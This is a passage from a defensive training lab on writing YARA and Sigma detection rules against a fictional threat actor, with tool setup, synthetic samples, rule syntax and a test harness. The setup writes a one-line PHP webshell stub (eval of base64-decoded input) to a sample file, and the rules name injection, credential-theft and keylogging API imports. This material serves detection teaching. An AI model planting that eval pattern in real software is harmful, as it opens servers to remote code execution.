Lab 23: YARA & Sigma Rule Writing for Threat Hunting¶
Chapter: 5 (Detection Engineering), 18 (Malware Analysis), 38 (Advanced Threat Hunting) Difficulty: Advanced Estimated Time: 6-8 hours Prerequisites: Chapter 5, Chapter 18, Chapter 38, familiarity with regular expressions, basic malware analysis concepts
Overview¶
In this lab you will:
- Write YARA rules from scratch using string matching, hex patterns, regex, metadata, and conditions -- then scan synthetic malware samples and optimize rules for production deployment
- Build advanced YARA rules leveraging the PE module (imports, sections, timestamps), Math module (entropy), and rule sets -- targeting packers, cryptominers, webshells, and C2 beacons
- Create Sigma detection rules for Windows Security, Sysmon, and Linux auditd log sources -- then convert them to KQL and SPL using sigma-cli
- Integrate YARA and Sigma rules into detection pipelines using Velociraptor, KAPE, CI/CD workflows, and automated rule testing with synthetic logs
- Execute three complete threat hunt campaigns using hypothesis-driven methodology, YARA file scanning, and Sigma-based SIEM correlation
Synthetic Data Only
All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) reserved ranges. All domains use *.example.com. All file hashes are clearly labeled SYNTHETIC -- they do not correspond to real malware. All YARA rules target synthetic indicators only. All Sigma rules use synthetic log examples. This lab is for defensive education only.
Scenario¶
Threat Hunt Authorization -- CyberVault Technologies
Organization: CyberVault Technologies (fictional) Industry: Cloud security SaaS provider -- 1,800 employees across 3 offices Internal Network: 10.20.0.0/16 DMZ: 172.16.20.0/24 Domain: cybervault.example.com SIEM Platforms: Microsoft Sentinel (KQL) + Splunk Enterprise (SPL) EDR Platform: Velociraptor (open-source) YARA Scanner: yara 4.5+ / YARA-X 0.5+ Sigma Backend: sigma-cli 1.0+ with pySigma Hunt Authorization: Signed by CISO on 2026-03-20 Hunt Window: 2026-03-12 through 2026-03-26 (14-day retrospective) Emergency Contact: soc@cybervault.example.com (SYNTHETIC)
Context: CyberVault Technologies' threat intelligence team received a report from industry partners indicating that a fictional threat actor group, SYNTHETIC-VIPER, has been targeting SaaS companies with a multi-stage intrusion chain: spear-phishing with macro-laden documents, deployment of packed droppers, establishment of encrypted C2 channels, credential harvesting via webshells on internal portals, lateral movement using LOLBins, and data staging for exfiltration. The SOC has been tasked with developing custom YARA and Sigma detection rules and executing proactive hunts across all endpoints and log sources. No alerts have fired -- this is a proactive defense engagement.
Network Topology:
| Segment | Subnet | Description |
|---|---|---|
| Corporate Workstations | 10.20.1.0/24 | Employee endpoints (Windows 10/11) |
| Engineering Workstations | 10.20.2.0/24 | Developer endpoints (mixed Windows/Linux) |
| Servers -- Production | 10.20.10.0/24 | Domain controllers, file servers, databases |
| Servers -- Staging | 10.20.20.0/24 | Staging/test servers |
| Web Tier | 172.16.20.0/24 | Internal web portals, API gateways |
| VPN Pool | 10.20.100.0/24 | Remote access VPN |
Key Assets:
| Hostname | IP | Role |
|---|---|---|
| DC01.cybervault.example.com | 10.20.10.1 | Primary domain controller |
| DC02.cybervault.example.com | 10.20.10.2 | Secondary domain controller |
| FS01.cybervault.example.com | 10.20.10.10 | Primary file server |
| WEB01.cybervault.example.com | 172.16.20.5 | Internal portal (IIS) |
| WEB02.cybervault.example.com | 172.16.20.6 | Internal portal (Apache/PHP) |
| DB01.cybervault.example.com | 10.20.10.20 | SQL Server (customer data) |
| BUILD01.cybervault.example.com | 10.20.20.5 | CI/CD build server |
| WS-ENG-017 | 10.20.2.17 | Engineer workstation (Patient Zero) |
| WS-HR-003 | 10.20.1.3 | HR analyst workstation |
| WS-EXEC-001 | 10.20.1.50 | CFO workstation |
Certification Relevance¶
Certification Mapping
This lab maps to objectives in the following certifications:
| Certification | Relevant Domains |
|---|---|
| GIAC GCTI (Cyber Threat Intelligence) | Threat Intelligence Reporting, IOC Development, Detection Rule Creation |
| GIAC GCFE (Certified Forensic Examiner) | Evidence Analysis, Artifact Identification, Forensic Tool Usage |
| GIAC GCFA (Certified Forensic Analyst) | Advanced Forensic Analysis, Threat Hunting, Timeline Analysis |
| CompTIA CySA+ (CS0-003) | Domain 1: Security Operations (33%), Domain 3: Incident Response (22%) |
| CompTIA CASP+ (CAS-004) | Domain 1: Security Architecture (29%), Domain 4: Operations (22%) |
| OSCP (Offensive Security Certified Professional) | Post-Exploitation Detection, AV Evasion Understanding |
| OSDA (Offensive Security Defense Analyst) | Detection Engineering, SIEM Analysis, Threat Hunting |
Prerequisites¶
- Completion of Chapter 5 -- Detection Engineering at Scale, Chapter 18 -- Malware Analysis, and Chapter 38 -- Advanced Threat Hunting
- Familiarity with Chapter 6 -- Triage, Investigation & Enrichment and Chapter 27 -- Digital Forensics
- Access to one or both SIEM platforms (free tiers work):
- Microsoft Sentinel (KQL): Azure free trial with Log Analytics workspace
- Splunk (SPL): Splunk Free or Splunk Cloud trial
- Alternatively: use the queries as reference -- all sample data is included inline
No SIEM? No Problem
You can complete this lab purely as a rule-writing exercise using the inline sample data. Read each scenario, write your rules, and compare against the provided solutions. The learning value is in understanding detection logic and hunt methodology.
Required Tools¶
| Tool | Purpose | Version |
|---|---|---|
| YARA | Pattern matching and malware classification | 4.5+ |
| YARA-X | Next-gen YARA engine (Rust-based) | 0.5+ |
| sigma-cli | Sigma rule conversion and testing | 1.0+ |
| pySigma | Python library for Sigma rule processing | 0.11+ |
| Velociraptor | Endpoint visibility and DFIR | 0.73+ |
| KAPE | Forensic artifact collection | 1.3+ |
| Python 3 | Scripting and automation | 3.10+ |
| evtx_dump | Windows Event Log parser | 0.8+ |
| jq | JSON processing | 1.7+ |
| git | Version control for detection rules | 2.40+ |
Test Accounts (Synthetic)¶
| Role | Username | Password/Hash | Notes |
|---|---|---|---|
| SOC Analyst | cybervault\soc_analyst | REDACTED | SIEM read access, Velociraptor access |
| Detection Engineer | cybervault\det_engineer | REDACTED | SIEM write access, rule deployment |
| Threat Hunter | cybervault\threat_hunter | REDACTED | Full SIEM query access, endpoint forensics |
| Service Account | cybervault\svc_web | REDACTED | IIS application pool identity |
| Compromised User | cybervault\jdoe | REDACTED | Engineer account (simulated compromise) |
| Attacker Simulation | N/A | N/A | External threat actor SYNTHETIC-VIPER |
Lab Environment Setup¶
# Install YARA (Linux/macOS)
$ sudo apt-get install -y yara # Debian/Ubuntu
$ brew install yara # macOS
# Verify YARA installation
$ yara --version
4.5.0
# Install YARA-X (Rust-based next-gen engine)
$ cargo install yara-x
$ yara-x --version
yara-x 0.5.0
# Install sigma-cli and pySigma backends
$ pip install sigma-cli pySigma-backend-splunk pySigma-backend-microsoft365defender \
pySigma-backend-kusto pySigma-pipeline-sysmon pySigma-pipeline-windows
# Verify sigma-cli
$ sigma version
sigma-cli version 1.0.3
pySigma version 0.11.8
# Install evtx_dump for Sigma testing
$ cargo install evtx
$ evtx_dump --version
evtx_dump 0.8.3
# Create lab working directory
$ mkdir -p ~/lab23-yara-sigma/{yara-rules,sigma-rules,samples,logs,hunts,reports}
$ cd ~/lab23-yara-sigma
# Download synthetic test samples (SYNTHETIC -- not real malware)
# In a real lab, you would generate synthetic PE files here.
# For this exercise, we create placeholder files to scan.
$ echo "This is a synthetic dropper sample for lab purposes" > samples/synthetic_dropper.bin
$ echo "<?php eval(base64_decode('SYNTHETIC_PAYLOAD')); ?>" > samples/synthetic_webshell.php
$ echo "SYNTHETIC_MINER_BINARY_CONTENT_FOR_LAB" > samples/synthetic_miner.bin
$ echo "SYNTHETIC_BEACON_BINARY_FOR_LAB_EXERCISE" > samples/synthetic_beacon.bin
# Create synthetic PE headers for YARA PE module exercises
$ python3 -c "
# Generate a synthetic PE file with MZ header for YARA scanning
import struct
# DOS header (MZ magic)
pe = b'MZ' + b'\x00' * 58 + struct.pack('<I', 64)
# PE signature at offset 64
pe += b'PE\x00\x00'
# COFF header: x86, 3 sections, timestamp 2026-03-15
pe += struct.pack('<HH', 0x14c, 3) # Machine, NumberOfSections
pe += struct.pack('<I', 0x6614A800) # TimeDateStamp (synthetic)
pe += b'\x00' * 12 # PointerToSymbolTable, NumberOfSymbols, SizeOfOptionalHeader, Characteristics
# Pad to 512 bytes
pe += b'\x00' * (512 - len(pe))
# Add synthetic section with high entropy data
import random
random.seed(42)
pe += bytes(random.getrandbits(8) for _ in range(4096))
with open('samples/synthetic_packed.exe', 'wb') as f:
f.write(pe)
print('Synthetic PE file created: samples/synthetic_packed.exe')
"
Synthetic PE file created: samples/synthetic_packed.exe
# Verify lab directory structure
$ tree ~/lab23-yara-sigma/
lab23-yara-sigma/
├── hunts/
├── logs/
├── reports/
├── samples/
│ ├── synthetic_beacon.bin
│ ├── synthetic_dropper.bin
│ ├── synthetic_miner.bin
│ ├── synthetic_packed.exe
│ └── synthetic_webshell.php
├── sigma-rules/
└── yara-rules/
Log Source Inventory¶
This lab uses the following synthetic log sources. Each exercise provides inline sample data.
| Log Source | KQL Table | Splunk Index/Sourcetype | Record Count |
|---|---|---|---|
| Windows Security Events | SecurityEvent | index=wineventlog sourcetype=WinEventLog:Security | ~90,000 |
| Sysmon (Process Creation) | SysmonEvent | index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational | ~130,000 |
| Sysmon (File Create) | SysmonEvent | index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational | ~200,000 |
| PowerShell Script Block | Event | index=wineventlog sourcetype=WinEventLog:Microsoft-Windows-PowerShell/Operational | ~25,000 |
| Linux auditd | Syslog | index=linux sourcetype=linux:audit | ~150,000 |
| Network Flows | NetworkCommunicationEvents | index=netflow sourcetype=netflow | ~600,000 |
| DNS Queries | DnsEvents | index=dns sourcetype=dns | ~2,500,000 |
| Proxy/HTTP Logs | CommonSecurityLog | index=proxy sourcetype=squid | ~350,000 |
| EDR Telemetry | DeviceProcessEvents | index=edr sourcetype=velociraptor | ~400,000 |
Query Conventions¶
Throughout this lab, detection queries are presented in both languages:
Query Compatibility
KQL and SPL have different syntax but express the same logic. This lab teaches you to think in both. Where one language has a unique strength (e.g., KQL's make-series or SPL's tstats), we highlight it.
Learning Objectives¶
By the end of this lab, you will be able to:
- [x] Write YARA rules using strings, hex patterns, regex, conditions, and metadata
- [x] Use YARA modules (PE, Math, Hash) for advanced binary analysis
- [x] Create Sigma rules for Windows Security, Sysmon, and Linux auditd log sources
- [x] Convert Sigma rules to KQL and SPL using sigma-cli and pySigma
- [x] Integrate YARA into DFIR workflows (Velociraptor, KAPE)
- [x] Deploy Sigma rules to production SIEMs with CI/CD pipelines
- [x] Execute hypothesis-driven threat hunts using YARA and Sigma
- [x] Document hunt findings with metrics and MITRE ATT&CK mapping
- [x] Build a detection rule lifecycle: draft, test, deploy, tune, retire
Exercise 1 -- YARA Rule Fundamentals (60 min)¶
Objective¶
Learn the foundational elements of YARA rule syntax -- strings, conditions, metadata, and modifiers. Write rules to detect synthetic malware indicators, scan files with the yara CLI, and optimize rules for performance and false positive reduction.
Scenario Context¶
Detection Task 1
Task: SYNTHETIC-VIPER's initial access vector involves a spear-phishing email with a macro-enabled Word document. The macro downloads a first-stage dropper (a Windows executable) to the victim's %TEMP% directory. Threat intelligence provides the following synthetic indicators from the dropper:
- Contains the string
SyntheticViperLoaderin cleartext - Contains the hex pattern
{ 4D 5A 90 00 03 00 00 00 }(standard MZ header) - Makes HTTP requests to
update.synviper.example.com - Drops a file named
svchost_update.exein%TEMP% - Contains a base64-encoded configuration block starting with
SVCONFIG_ - File size is between 50KB and 500KB
MITRE ATT&CK: T1566.001 (Spear-phishing Attachment), T1204.002 (User Execution: Malicious File), T1059.001 (PowerShell)
Step 1.1: YARA Rule Anatomy¶
Every YARA rule consists of three sections: meta, strings, and condition. Here is the basic structure:
rule RuleName {
meta:
author = "Your Name"
description = "What this rule detects"
date = "2026-03-20"
reference = "URL or report reference"
severity = "high"
tlp = "white"
hash = "SYNTHETIC_HASH_VALUE"
strings:
$text_string = "plaintext to match"
$hex_pattern = { 4D 5A 90 00 }
$regex_pattern = /regex[0-9]+pattern/
condition:
all of them
}
Key concepts:
| Element | Description | Example |
|---|---|---|
meta | Descriptive metadata (not used in matching) | author, description, date, severity |
strings | Patterns to search for in files | Text, hex, regex |
condition | Boolean logic determining a match | all of them, any of ($a*), 2 of ($s*) |
| Modifiers | Alter string matching behavior | nocase, ascii, wide, fullword |
| Tags | Categorize rules | rule MyRule : trojan dropper |
Step 1.2: Writing Your First YARA Rule¶
Create a rule to detect the SYNTHETIC-VIPER first-stage dropper:
/*
* Rule: SYNVIPER_Dropper_Stage1
* Target: First-stage dropper from SYNTHETIC-VIPER campaign
* All indicators are SYNTHETIC -- not real malware
* Author: CyberVault SOC (fictional)
* Date: 2026-03-20
*/
rule SYNVIPER_Dropper_Stage1 : trojan dropper synthetic {
meta:
author = "CyberVault SOC"
description = "Detects SYNTHETIC-VIPER first-stage dropper"
date = "2026-03-20"
version = "1.0"
reference = "INT-2026-0042 (SYNTHETIC)"
severity = "critical"
tlp = "amber"
mitre_attack = "T1566.001, T1204.002"
hash = "SYNTHETIC_SHA256_aabbccdd11223344"
filetype = "PE"
synthetic = "true"
strings:
// Text strings -- exact match
$loader_name = "SyntheticViperLoader" ascii wide
// C2 domain -- case insensitive
$c2_domain = "update.synviper.example.com" nocase
// Dropped filename
$drop_name = "svchost_update.exe" nocase
// Configuration marker
$config_marker = "SVCONFIG_" ascii
// Hex pattern -- MZ header (PE file)
$mz_header = { 4D 5A 90 00 03 00 00 00 }
// Hex pattern with wildcards -- dropper shellcode stub (SYNTHETIC)
$shellcode_stub = { E8 00 00 00 00 5? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? }
// Regex -- base64 config block
$b64_config = /SVCONFIG_[A-Za-z0-9+\/]{20,}={0,2}/
// Regex -- User-Agent string pattern
$ua_pattern = /User-Agent:\s*SynViper\/[0-9]+\.[0-9]+/ nocase
condition:
// File must start with MZ header
$mz_header at 0 and
// File size constraint: 50KB to 500KB
filesize > 50KB and filesize < 500KB and
// Must contain the loader name
$loader_name and
// Must contain at least 2 of the network/config indicators
(2 of ($c2_domain, $drop_name, $config_marker, $b64_config, $ua_pattern))
}
Save this rule:
$ cat > yara-rules/synviper_dropper_stage1.yar << 'RULE_EOF'
rule SYNVIPER_Dropper_Stage1 : trojan dropper synthetic {
meta:
author = "CyberVault SOC"
description = "Detects SYNTHETIC-VIPER first-stage dropper"
date = "2026-03-20"
version = "1.0"
reference = "INT-2026-0042 (SYNTHETIC)"
severity = "critical"
tlp = "amber"
mitre_attack = "T1566.001, T1204.002"
hash = "SYNTHETIC_SHA256_aabbccdd11223344"
synthetic = "true"
strings:
$loader_name = "SyntheticViperLoader" ascii wide
$c2_domain = "update.synviper.example.com" nocase
$drop_name = "svchost_update.exe" nocase
$config_marker = "SVCONFIG_" ascii
$mz_header = { 4D 5A 90 00 03 00 00 00 }
$shellcode_stub = { E8 00 00 00 00 5? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? }
$b64_config = /SVCONFIG_[A-Za-z0-9+\/]{20,}={0,2}/
$ua_pattern = /User-Agent:\s*SynViper\/[0-9]+\.[0-9]+/ nocase
condition:
$mz_header at 0 and
filesize > 50KB and filesize < 500KB and
$loader_name and
(2 of ($c2_domain, $drop_name, $config_marker, $b64_config, $ua_pattern))
}
RULE_EOF
Step 1.3: String Types Deep Dive¶
YARA supports three types of strings. Master all three:
Text Strings¶
rule TextStringExamples : synthetic {
meta:
description = "Demonstrates text string modifiers (SYNTHETIC)"
author = "CyberVault SOC"
synthetic = "true"
strings:
// Basic ASCII string
$s1 = "malware_config" ascii
// Wide string (UTF-16LE, common in Windows)
$s2 = "malware_config" wide
// Both ASCII and wide
$s3 = "malware_config" ascii wide
// Case insensitive
$s4 = "Content-Type" nocase
// Full word only (bounded by non-alphanumeric chars)
$s5 = "cmd" fullword
// XOR-encoded string (YARA auto-tests all single-byte XOR keys)
$s6 = "SyntheticViperPayload" xor
// XOR with specific key range
$s7 = "SyntheticViperPayload" xor(0x01-0xff)
// Base64-encoded string (YARA auto-generates standard + URL-safe variants)
$s8 = "SyntheticViperPayload" base64
// Base64 with custom alphabet
$s9 = "SyntheticViperPayload" base64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_")
condition:
any of them
}
Hex Strings (Byte Patterns)¶
rule HexStringExamples : synthetic {
meta:
description = "Demonstrates hex string patterns (SYNTHETIC)"
author = "CyberVault SOC"
synthetic = "true"
strings:
// Exact byte sequence
$h1 = { 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 }
// Wildcards -- ?? matches any byte
$h2 = { 4D 5A ?? ?? 03 00 ?? 00 }
// Nibble wildcards -- ?0 matches any byte ending in 0
$h3 = { 4D 5A ?0 00 }
// Jumps -- [min-max] bytes between patterns
$h4 = { E8 00 00 00 00 [4-8] 89 ?? 24 }
// Alternatives -- (AA|BB|CC)
$h5 = { 4D 5A ( 90 | 00 | 50 ) 00 }
// Unbounded jump
$h6 = { 68 ?? ?? ?? ?? [0-100] FF 15 ?? ?? ?? ?? }
condition:
any of them
}
Regular Expressions¶
rule RegexExamples : synthetic {
meta:
description = "Demonstrates regex patterns (SYNTHETIC)"
author = "CyberVault SOC"
synthetic = "true"
strings:
// IP address pattern (RFC 5737 ranges)
$r1 = /192\.0\.2\.\d{1,3}/
// URL pattern
$r2 = /https?:\/\/[a-z0-9\-]+\.synviper\.example\.com\/[a-z0-9\/]+/i
// Base64-encoded command
$r3 = /[A-Za-z0-9+\/]{40,}={0,2}/
// Windows path pattern
$r4 = /[A-Z]:\\(Windows|Users|Temp)\\[^\s]{5,50}\.exe/i
// Registry key pattern
$r5 = /HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\[A-Za-z0-9_]+/
condition:
any of them
}
Step 1.4: Scanning Files with YARA CLI¶
# Scan a single file
$ yara yara-rules/synviper_dropper_stage1.yar samples/synthetic_dropper.bin
# (No match expected -- synthetic_dropper.bin does not have MZ header)
# Scan with verbose output (show matching strings)
$ yara -s yara-rules/synviper_dropper_stage1.yar samples/synthetic_dropper.bin
# Scan recursively through a directory
$ yara -r yara-rules/synviper_dropper_stage1.yar samples/
# Scan with metadata output
$ yara -m yara-rules/synviper_dropper_stage1.yar samples/
# Scan with multiple rule files
$ yara -r yara-rules/*.yar samples/
# Scan with tag filter (only rules tagged 'dropper')
$ yara -t dropper yara-rules/synviper_dropper_stage1.yar samples/
# Compile rules for faster repeated scanning
$ yarac yara-rules/synviper_dropper_stage1.yar yara-rules/synviper_dropper_stage1.yarc
$ yara -C yara-rules/synviper_dropper_stage1.yarc samples/
# Scan with timeout (important for large file sets)
$ yara --timeout=120 -r yara-rules/*.yar /path/to/evidence/
# Count matches without printing details
$ yara -c -r yara-rules/*.yar samples/
synviper_dropper_stage1.yar samples/synthetic_dropper.bin: 0
synviper_dropper_stage1.yar samples/synthetic_packed.exe: 0
Step 1.5: Testing and Validating Rules¶
Create a synthetic test harness to validate your YARA rules:
#!/usr/bin/env python3
"""
YARA Rule Tester -- validates rules against synthetic samples.
All data is 100% SYNTHETIC. No real malware is used.
"""
import yara
import os
import json
from datetime import datetime
class YARATestHarness:
"""Test YARA rules against synthetic samples with expected outcomes."""
def __init__(self, rules_dir, samples_dir):
self.rules_dir = rules_dir
self.samples_dir = samples_dir
self.results = []
def compile_rules(self):
"""Compile all .yar files in the rules directory."""
rule_files = {}
for f in os.listdir(self.rules_dir):
if f.endswith('.yar') or f.endswith('.yara'):
namespace = f.replace('.yar', '').replace('.yara', '')
rule_files[namespace] = os.path.join(self.rules_dir, f)
try:
self.rules = yara.compile(filepaths=rule_files)
print(f"[+] Compiled {len(rule_files)} rule file(s) successfully")
return True
except yara.SyntaxError as e:
print(f"[-] YARA syntax error: {e}")
return False
def scan_sample(self, filepath):
"""Scan a single sample and return matches."""
try:
matches = self.rules.match(filepath, timeout=60)
return {
'file': os.path.basename(filepath),
'path': filepath,
'matches': [
{
'rule': m.rule,
'tags': list(m.tags),
'meta': dict(m.meta),
'strings': [
{
'offset': s[0],
'identifier': s[1],
'data': s[2].hex() if isinstance(s[2], bytes) else str(s[2])
}
for s in m.strings
]
}
for m in matches
],
'match_count': len(matches),
'status': 'MATCH' if matches else 'NO_MATCH'
}
except yara.TimeoutError:
return {
'file': os.path.basename(filepath),
'path': filepath,
'matches': [],
'match_count': 0,
'status': 'TIMEOUT'
}
def run_test_suite(self, expected_results):
"""
Run tests against expected results.
expected_results: dict mapping filename to expected status ('MATCH' or 'NO_MATCH')
"""
print(f"\n{'='*60}")
print(f"YARA Rule Test Suite -- {datetime.now().isoformat()}")
print(f"{'='*60}\n")
passed = 0
failed = 0
for filename, expected_status in expected_results.items():
filepath = os.path.join(self.samples_dir, filename)
if not os.path.exists(filepath):
print(f"[SKIP] {filename} -- file not found")
continue
result = self.scan_sample(filepath)
actual_status = result['status']
test_passed = actual_status == expected_status
if test_passed:
print(f"[PASS] {filename}: expected={expected_status}, actual={actual_status}")
passed += 1
else:
print(f"[FAIL] {filename}: expected={expected_status}, actual={actual_status}")
if result['matches']:
for m in result['matches']:
print(f" Matched rule: {m['rule']}")
failed += 1
self.results.append({**result, 'expected': expected_status, 'test_passed': test_passed})
print(f"\n{'='*60}")
print(f"Results: {passed} passed, {failed} failed, {passed+failed} total")
print(f"{'='*60}")
return failed == 0
def export_results(self, output_file):
"""Export test results to JSON."""
with open(output_file, 'w') as f:
json.dump({
'timestamp': datetime.now().isoformat(),
'results': self.results
}, f, indent=2)
print(f"[+] Results exported to {output_file}")
# Usage example
if __name__ == '__main__':
harness = YARATestHarness(
rules_dir='yara-rules',
samples_dir='samples'
)
if harness.compile_rules():
# Define expected results (SYNTHETIC samples only)
expected = {
'synthetic_dropper.bin': 'NO_MATCH', # No MZ header
'synthetic_packed.exe': 'NO_MATCH', # Has MZ but no SYNVIPER strings
'synthetic_webshell.php': 'NO_MATCH', # PHP file, not PE
'synthetic_miner.bin': 'NO_MATCH', # Not matching dropper rule
'synthetic_beacon.bin': 'NO_MATCH', # Different rule needed
}
harness.run_test_suite(expected)
harness.export_results('reports/yara_test_results.json')
Step 1.6: Rule Optimization for Production¶
Performance Matters
YARA rules deployed at scale (scanning millions of files) must be optimized. Poorly written rules can cause scanning timeouts, excessive CPU usage, or false positives in production.
Optimization Checklist:
| Optimization | Bad | Good | Impact |
|---|---|---|---|
| Condition order | $regex and filesize < 1MB | filesize < 1MB and $regex | Short-circuit on filesize first (fast check) |
| Regex complexity | /.{0,1000}pattern/ | /pattern/ with $h at 0 | Avoid catastrophic backtracking |
| String count | 50+ strings in one rule | Split into rule sets | Reduce memory and scanning time |
| Wildcards in hex | { ?? ?? ?? ?? ?? ?? } | Use specific bytes where possible | Fewer false positives |
fullword modifier | $s = "cmd" | $s = "cmd" fullword | Avoids matching "cmdlet", "pcmd", etc. |
| File type check | Scan all files | uint16(0) == 0x5A4D (PE) | Skip irrelevant file types |
Optimized condition example:
rule SYNVIPER_Dropper_Optimized : trojan dropper synthetic {
meta:
author = "CyberVault SOC"
description = "Optimized detection for SYNTHETIC-VIPER dropper"
date = "2026-03-20"
version = "2.0"
synthetic = "true"
strings:
$mz = { 4D 5A }
$loader = "SyntheticViperLoader" ascii wide
$c2 = "update.synviper.example.com" nocase
$drop = "svchost_update.exe" nocase
$config = "SVCONFIG_" ascii
condition:
// Fast checks first (filesize, magic bytes)
filesize > 50KB and filesize < 500KB and
$mz at 0 and
// Then string matches (more expensive)
$loader and
// Threshold for network indicators
1 of ($c2, $drop, $config)
}
Step 1.7: Exercise 1 Challenge¶
Challenge: Write a YARA Rule for Document Dropper
Write a YARA rule named SYNVIPER_MacroDoc that detects the malicious Word document used by SYNTHETIC-VIPER. The document has these synthetic indicators:
- Contains OLE magic bytes:
{ D0 CF 11 E0 A1 B1 1A E1 } - Contains VBA macro strings:
AutoOpen,Shell,WScript - Contains the download URL pattern:
http://dl.synviper.example.com/stage1 - Contains obfuscated PowerShell:
pOwErShElL(mixed case) - File size between 100KB and 5MB
Solution:
rule SYNVIPER_MacroDoc : maldoc dropper synthetic {
meta:
author = "CyberVault SOC"
description = "Detects SYNTHETIC-VIPER macro-laden document dropper"
date = "2026-03-20"
version = "1.0"
reference = "INT-2026-0042 (SYNTHETIC)"
severity = "high"
mitre_attack = "T1566.001, T1059.001, T1204.002"
synthetic = "true"
strings:
// OLE magic bytes
$ole_magic = { D0 CF 11 E0 A1 B1 1A E1 }
// VBA macro indicators
$vba_autoopen = "AutoOpen" ascii wide nocase
$vba_shell = "Shell" ascii wide fullword
$vba_wscript = "WScript" ascii wide nocase
$vba_createobj = "CreateObject" ascii wide nocase
// Download URL
$dl_url = "dl.synviper.example.com" nocase
// PowerShell invocation (case-insensitive to catch obfuscation)
$ps_invoke = "powershell" nocase
$ps_enc = "-EncodedCommand" nocase
$ps_bypass = "-ExecutionPolicy" nocase
// Obfuscation indicators
$obf_concat = "Chr(" ascii wide
$obf_replace = ".Replace(" ascii wide
condition:
// OLE file format
$ole_magic at 0 and
// File size constraint
filesize > 100KB and filesize < 5MB and
// Must have VBA auto-execution
$vba_autoopen and
// Must have at least 1 execution method
1 of ($vba_shell, $vba_wscript, $vba_createobj) and
// Must have download URL or PowerShell execution
($dl_url or 2 of ($ps_invoke, $ps_enc, $ps_bypass)) and
// Bonus: obfuscation indicators reduce false positives
1 of ($obf_concat, $obf_replace)
}
Exercise 2 -- Advanced YARA Techniques (75 min)¶
Objective¶
Leverage YARA's PE module, Math module, rule sets, and advanced conditions to detect packed binaries, cryptominers, webshells, and C2 beacons. Write production-grade rules for four distinct malware families from the SYNTHETIC-VIPER campaign.
Scenario Context¶
Detection Task 2
Task: SYNTHETIC-VIPER's toolkit includes multiple components beyond the initial dropper. Threat intelligence has identified:
- Packed dropper -- UPX-packed PE with high entropy sections and suspicious imports
- Cryptominer -- XMRig-based miner configured for a synthetic mining pool
- PHP webshell -- Deployed on compromised IIS/Apache servers for persistence
- Cobalt Strike beacon -- Malleable C2 profile with synthetic indicators
Your task is to write advanced YARA rules for each component using modules and advanced features.
MITRE ATT&CK: T1027.002 (Software Packing), T1496 (Resource Hijacking), T1505.003 (Web Shell), T1071.001 (Application Layer Protocol: Web)
Step 2.1: PE Module -- Analyzing Binary Structure¶
The PE module gives YARA access to the internal structure of Windows executables. This is essential for detecting packed, obfuscated, or suspicious binaries.
import "pe"
import "math"
import "hash"
rule SYNVIPER_PackedDropper : packed packer synthetic {
meta:
author = "CyberVault SOC"
description = "Detects UPX-packed SYNTHETIC-VIPER dropper via PE anomalies"
date = "2026-03-20"
version = "1.0"
reference = "INT-2026-0042 (SYNTHETIC)"
severity = "high"
mitre_attack = "T1027.002"
synthetic = "true"
strings:
// UPX packer signatures (SYNTHETIC context)
$upx0 = "UPX0" ascii fullword
$upx1 = "UPX1" ascii fullword
$upx2 = "UPX!" ascii fullword
// Anti-analysis strings
$anti_debug = "IsDebuggerPresent" ascii
$anti_vm_1 = "VMwareService" ascii nocase
$anti_vm_2 = "VBoxService" ascii nocase
$anti_sandbox = "SbieDll" ascii
condition:
// Must be a PE file
uint16(0) == 0x5A4D and
// PE signature present
uint32(uint32(0x3C)) == 0x00004550 and
// File size constraint
filesize > 30KB and filesize < 2MB and
// UPX packer indicators
1 of ($upx*) and
// PE anomalies indicating packing:
(
// 1. High entropy in first section (packed data)
math.entropy(pe.sections[0].offset, pe.sections[0].raw_data_size) > 7.0 or
// 2. Section name anomalies (UPX sections)
pe.sections[0].name == "UPX0" or
pe.sections[0].name == "UPX1" or
// 3. Virtual size much larger than raw size (decompression)
pe.sections[0].virtual_size > pe.sections[0].raw_data_size * 5
) and
// Anti-analysis techniques (optional but high-confidence)
1 of ($anti_debug, $anti_vm_1, $anti_vm_2, $anti_sandbox)
}
Step 2.2: PE Imports Analysis¶
Detect suspicious import combinations that indicate malicious behavior:
import "pe"
rule SYNVIPER_SuspiciousImports : suspicious imports synthetic {
meta:
author = "CyberVault SOC"
description = "Detects PE files with suspicious API import combinations"
date = "2026-03-20"
version = "1.0"
severity = "medium"
mitre_attack = "T1055, T1027"
synthetic = "true"
condition:
uint16(0) == 0x5A4D and
filesize < 5MB and
// Process injection imports
(
pe.imports("kernel32.dll", "VirtualAllocEx") and
pe.imports("kernel32.dll", "WriteProcessMemory") and
pe.imports("kernel32.dll", "CreateRemoteThread")
)
or
// Credential theft imports
(
pe.imports("advapi32.dll", "OpenProcessToken") and
pe.imports("advapi32.dll", "LookupPrivilegeValueA") and
pe.imports("advapi32.dll", "AdjustTokenPrivileges")
)
or
// Keylogging imports
(
pe.imports("user32.dll", "SetWindowsHookExA") and
pe.imports("user32.dll", "GetAsyncKeyState")
)
or
// Network exfiltration imports
(
pe.imports("wininet.dll", "InternetOpenA") and
pe.imports("wininet.dll", "InternetConnectA") and
pe.imports("wininet.dll", "HttpSendRequestA")
)
}
Step 2.3: Math Module -- Entropy Analysis¶
High entropy indicates encryption, compression, or packing. Use the math module to detect anomalous entropy:
import "math"
import "pe"
rule HighEntropy_Executable : packed entropy synthetic {
meta:
author = "CyberVault SOC"
description = "Detects PE files with abnormally high entropy (potential packing)"
date = "2026-03-20"
version = "1.0"
severity = "medium"
mitre_attack = "T1027.002"
synthetic = "true"
condition:
// Must be a PE file
uint16(0) == 0x5A4D and
// Overall file entropy > 7.2 (out of 8.0 maximum)
// Normal executables: 5.0-6.5
// Packed/encrypted: 7.0-7.99
math.entropy(0, filesize) > 7.2 and
// File size between 10KB and 10MB
filesize > 10KB and filesize < 10MB
}
rule HighEntropy_Section : packed entropy synthetic {
meta:
author = "CyberVault SOC"
description = "Detects PE with high-entropy sections (common in packed malware)"
date = "2026-03-20"
version = "1.0"
